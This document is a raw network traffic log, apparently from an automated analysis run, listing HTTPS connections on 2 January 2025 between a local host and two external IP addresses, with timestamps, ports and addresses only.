Jan 2, 2025 20:29:24.907099962 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:24.909604073 CET	50149	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:24.909634113 CET	443	50149	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.253127098 CET	443	50149	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.253175020 CET	50149	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.253185034 CET	443	50149	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.253217936 CET	50149	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.253298998 CET	50149	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.253328085 CET	443	50149	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.253366947 CET	50149	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.253869057 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.253911972 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.257694006 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.257694006 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.257716894 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.304779053 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.304835081 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.305505991 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.305757046 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.308568001 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.308579922 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.308815002 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.309195995 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.309428930 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.315649986 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.315694094 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.315706015 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.315735102 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.315749884 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.315766096 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317457914 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.317509890 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317517996 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.317528963 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.317547083 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317553997 CET	443	50150	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.317562103 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317570925 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317589045 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317975044 CET	50150	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.317977905 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.318010092 CET	443	50161	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.318063974 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.318356037 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.318366051 CET	443	50161	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.355326891 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.411163092 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.411230087 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.411680937 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.411691904 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.411906004 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.411910057 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.690429926 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.690573931 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.690597057 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.690642118 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.690953970 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.690993071 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.691173077 CET	443	50153	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.691220999 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.691220999 CET	50153	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.691354990 CET	50165	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.691400051 CET	443	50165	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.691459894 CET	50165	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.691713095 CET	50165	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.691724062 CET	443	50165	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.831918955 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.831988096 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832012892 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.832055092 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832060099 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.832098961 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832102060 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.832134008 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.832138062 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832170963 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832878113 CET	50154	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.832890987 CET	443	50154	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.833410025 CET	50166	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.833450079 CET	443	50166	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.833523989 CET	50166	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.833779097 CET	50166	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.833791971 CET	443	50166	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.902224064 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.903006077 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.903036118 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.903048992 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.903484106 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.903484106 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.914096117 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.914109945 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.914520025 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.914665937 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.915235996 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:25.959336042 CET	443	50160	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:25.984805107 CET	443	50161	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.984877110 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.985348940 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.985361099 CET	443	50161	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:25.987319946 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:25.987327099 CET	443	50161	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:26.121155024 CET	50165	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.121179104 CET	50166	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:26.121213913 CET	50160	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.121232986 CET	50161	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:26.121937037 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.121970892 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.122034073 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.122822046 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.122833967 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.123925924 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.124007940 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.124243975 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.124502897 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.124515057 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.751808882 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.751895905 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.752444983 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.752460003 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.752608061 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.752614975 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.752711058 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.752772093 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.753026962 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.753048897 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:26.753143072 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:26.753149986 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.142174006 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.142270088 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.142267942 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.142313957 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.142424107 CET	50168	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.142442942 CET	443	50168	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.142952919 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.143007040 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.143076897 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.143140078 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.143170118 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.143214941 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.143384933 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.143400908 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.143546104 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.143552065 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.151345015 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.151463985 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.151524067 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.151609898 CET	443	50167	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.151679039 CET	50167	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.151937962 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.151964903 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.152033091 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.152199984 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.152215958 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.152487040 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.152523994 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.152578115 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.155668974 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.155679941 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.884371042 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.884439945 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.885257006 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.885302067 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.888736963 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.888746023 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.889008045 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.889051914 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.889390945 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.898521900 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.898587942 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.901592970 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.901601076 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.901834011 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.901880026 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.902581930 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.908518076 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.908581018 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.910471916 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.910481930 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.910753965 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.910804033 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.911067009 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:27.920388937 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.920584917 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.921170950 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.921331882 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.922653913 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.922663927 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.922915936 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.922967911 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.923280001 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:27.935321093 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:27.947324038 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.951320887 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:27.967322111 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.268016100 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.268085957 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.268107891 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.268160105 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.268285990 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.268330097 CET	443	50178	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.268403053 CET	50178	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.268834114 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.268888950 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.268975019 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.269321918 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.269335985 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.316046953 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.316108942 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.316124916 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.316190958 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.316281080 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.316345930 CET	443	50179	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.316390038 CET	50179	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.316939116 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.316989899 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.317053080 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.317269087 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.317281961 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.331780910 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.331836939 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.331857920 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.331881046 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.331895113 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.331932068 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.331935883 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.331954956 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.331969976 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.332000971 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.332901955 CET	50177	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.332915068 CET	443	50177	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.333584070 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.333627939 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.333703995 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.334067106 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.334081888 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467087984 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467143059 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467150927 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.467171907 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467185020 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.467226028 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.467231989 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467262983 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.467274904 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.467309952 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.468228102 CET	50180	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.468242884 CET	443	50180	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.468703985 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.468760014 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.468835115 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.469062090 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:28.469077110 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:28.985630035 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.985702991 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.986406088 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.986485958 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.988275051 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.988290071 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.988554955 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:28.988603115 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:28.988997936 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.017596006 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.017703056 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.018646955 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.018654108 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.018815041 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.018821001 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.035331964 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.055514097 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.056063890 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.056267977 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.056431055 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.058093071 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.058099031 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.058342934 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.058481932 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.059015036 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.103324890 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.165079117 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.165165901 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.165699005 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.165705919 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.165873051 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.165877104 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.418945074 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.419015884 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.419024944 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.419101954 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.419169903 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.419169903 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.419183016 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.419225931 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.421809912 CET	50190	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.421827078 CET	443	50190	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.437869072 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.437935114 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.437969923 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.438014984 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438134909 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438172102 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.438361883 CET	443	50189	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.438407898 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438424110 CET	50189	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438642979 CET	50194	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438697100 CET	443	50194	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.438771009 CET	50194	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438899040 CET	50195	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.438935995 CET	443	50195	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.438980103 CET	50194	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.438992023 CET	50195	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.438997030 CET	443	50194	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.439229965 CET	50195	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.439239979 CET	443	50195	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.474261999 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.474345922 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.474373102 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.474431038 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.474540949 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.474576950 CET	443	50188	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.474639893 CET	50188	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.475101948 CET	50196	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.475156069 CET	443	50196	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.475248098 CET	50196	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.475913048 CET	50196	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:29.475933075 CET	443	50196	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:29.682653904 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.682702065 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.682724953 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.682750940 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.682765961 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.682801008 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.682806015 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.682826042 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.682872057 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.684082031 CET	50191	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.684097052 CET	443	50191	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.684760094 CET	50197	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.684812069 CET	443	50197	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:29.684886932 CET	50197	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:29.685112000 CET	50197	443	192.168.2.7	142.250.186.129
